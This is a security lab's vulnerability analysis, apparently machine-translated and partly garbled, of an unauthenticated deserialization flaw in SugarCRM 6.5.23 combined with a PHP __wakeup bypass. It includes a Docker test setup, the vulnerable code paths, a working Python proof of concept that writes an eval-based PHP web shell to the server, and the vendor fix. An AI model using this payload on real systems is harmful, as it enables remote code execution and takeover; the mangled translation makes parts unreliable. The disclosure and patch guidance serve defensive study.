**Author: p0wd3r (know Chong Yu 404 security lab)**Date: 2016-09-12
SugarCRM(http://www.sugarcrm.com/ is a set of open source Customer Relationship Management System. Recent researchers found in its<=6.5.23 version exists in the deserialization vulnerability, the program attacker to construct a malicious serialized data to the deserialization process, so that the attacker can be in the unauthorized State under the execution of arbitrary code.
Unauthorized state arbitrary code execution
SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP 7 is due < 7.0.10
Dockerfile:
``dockerfile FROM php:5.6-apache
RUN echo “deb http://mirrors.163.com/debian/ jessie main non-free contrib” > /etc/apt/sources. list \ && echo “deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib” >> /etc/apt/sources. list \ && apt-get update \ && apt-get install-y libpng12-dev libjpeg-dev wget\ && docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr \ && docker-php-ext-install-j$(nproc) mysqli gd zip
RUN wget https://codeload.github.com/sugarcrm/sugarcrm_dev/tar.gz/6.5.23 -O src.tar.gz \ && tar-zxvf src.tar.gz \ && mv sugarcrm_dev-6.5.23/* /var/www/html \ && rm src.tar.gz ``
bash docker build-t sugarcrm . docker run-p 80:80 sugarcrm
PHP before broke a vulnerability, CVE-2016-7124 https://bugs.php.net/bug.php?id=72663 simple to say is that when the serialized string representation of the object attribute the value of the numberis greater than the real number of attributeswill skip the__wakeup
implementation. Demo is as follows:
``php <? php class Student{ private $full_name = "; private $score = 0; private $grades = array();
public function __construct($full_name, $score, $grades)
{
$this->full_name = $full_name;
$this->grades = $grades;
$this->score = $score;
}
function __destruct()
{
var_dump($this);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up...\n";
}
}
// $s = new Student(‘p0wd3r’, 123, array(‘a’ => 90, ‘b’ => 100)); // file_put_contents(‘1. data’, serialize($s)); $a = unserialize(file_get_contents(‘1. data’));
?>
``
Demo in the__wakeup
to clear the object properties, and then in the__destruct
will be the object information dump out. Under normal circumstances, the sequence obtained by 1. data is like this:
O:7:"Student":3:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}
We execute the script, the results are as follows:
You can see the object properties have already been cleared.
Below we will 1. data into the following like this the above 3 into a 5 or other greater than 3 digits: The
O:7:"Student":5:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}
Then execute the script and see:
You can see the object is to dump out and the property is not clear, the proof of__wakeup
and not be executed.
This vulnerability is very interesting, in the following analysis, we will use it.
First of all, we see service/core/REST/SugarRestSerialize.php
the serve
function:
php function serve(){ $GLOBALS['log']->info('Begin: SugarRestSerialize->serve'); $data = ! empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: "; if(empty($_REQUEST['method']) || ! method_exists($this->implementation, $_REQUEST['method'])){ ... }else{ $method = $_REQUEST['method']; $data = sugar_unserialize(from_html($data)); ... } }
You can see we can control the$_REQUEST['rest_data']
the first through the from_html
the data in the HTML entity encoding the partially decoded, and then passed sugar_unserialize
function.
Follow sugar_unserialize
function, in include/utils.php
No. 5033-5048 lines:
``php /__ * Performs unserialization. Accepts all types except Objects _ * @param string $value the Serialized value of any type except Object * @return mixed False if the Object, the converted value for other cases _/ function sugar_unserialize($value) { preg_match(‘/[oc]:\d+:/i’, $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
} ``
From the comments you can see the function design of the purpose is in order not to let the Object
type to be deserialized, however regular not precise enough, we may be in the length of the object added before the A+
number, i.e. o:14 -> o:+14
, you can bypass this layer of detection, so that we can control the data into the unserialize
function.
A controllable point to find, then we need to find what objects can be used, in include/SugarCache/SugarCacheFile.php
in the first 90-108 row:
``php public function **destruct() { parent::**destruct();
if ( $this->_cacheChanged )
sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
}
/__ _ This is needed to prevent unserialize vulnerability _/ public function __wakeup() { // clean all properties foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } throw new Exception(“Not a serializable object”); } ``
We see we prefer the magic methods, and in the__destruct
using object property as a parameter to call a sugar_file_put_contents
it.
Follow sugar_file_put_contents
, in include/utils/sugar_file_utils.php
paragraphs 131 to 149 row:
``php function sugar_file_put_contents($filename, $data, $flags=null, $context=null){ //check to see if the file exists, if not then use touch to create it. if(! file_exists($filename)){ sugar_touch($filename); }
if ( ! is_writable($filename) ) {
$GLOBALS['log']->error("File $filename cannot be written to");
return false;
}
if(empty($flags)) {
return file_put_contents($filename, $data);
} elseif(empty($context)) {
return file_put_contents($filename, $data, $flags);
} else{
return file_put_contents($filename, $data, $flags, $context);
}
} ``
Function and not to the file content or filename, etc. to be limiting, although the parameter$data
is serialize($this->_localStore)
, which is the serialized data, but we can set$_this->_localStore
as an array, put the payload as an array of one value, you can complete and save the payload in.
So if we can pass a SugarCacheFile
object and set its attribute values, we can write to the file.
However, unfortunately, the__wakeup
will be in the__destroy
before the call, and we can see in the__wakeup
for all object attributes are cleared.
Then the How to cross this limit?
Surely we all already know, is the use we said above, PHP vulnerabilities to skip the__wakeup
implementation.
Finally, the entire exploit process is as follows:
php $_REQUEST['rest_data'] -> sugar_unserialize -> __destruct -> sugar_file_put_contents -> evil_file
The PoC Demo as follows:
``python import requests as req
url = ‘http://127.0.0.1:8788/service/v4/rest.php’
data = { ‘method’: ‘login’, ‘input_type’: ‘Serialize’, ‘rest_data’: ‘O:+14:“SugarCacheFile”:23:{S:17:“\00_\00_cacheFileName”;s:15:“…/custom/1.php”;S:16:“\00_\00_cacheChanged”;b:1;S:14:“\00*\00_localStore”;a:1:{i:0;s:29:“<? php eval($_POST['HHH']); ?>”;}}’, }
req. post(url, data=data) ``
脚本执行后shell位于custom/1.php to:
In v6. 5. 24, the sugar_unserialize
carried out the following improvements:
php function sugar_unserialize($value) { preg_match('/[oc]:[^:]*\d+:/i', $value, $matches); if (count($matches)) { return false; } return unserialize($value); }
Change the regular expression, so that the object type cannot be deserialized.
Upgrade SugarCRM to the v6. 5. 24 Upgrade php5 to 5. 6. 25 and above Upgrade PHP 7 is due to the 7. 0. 10 and above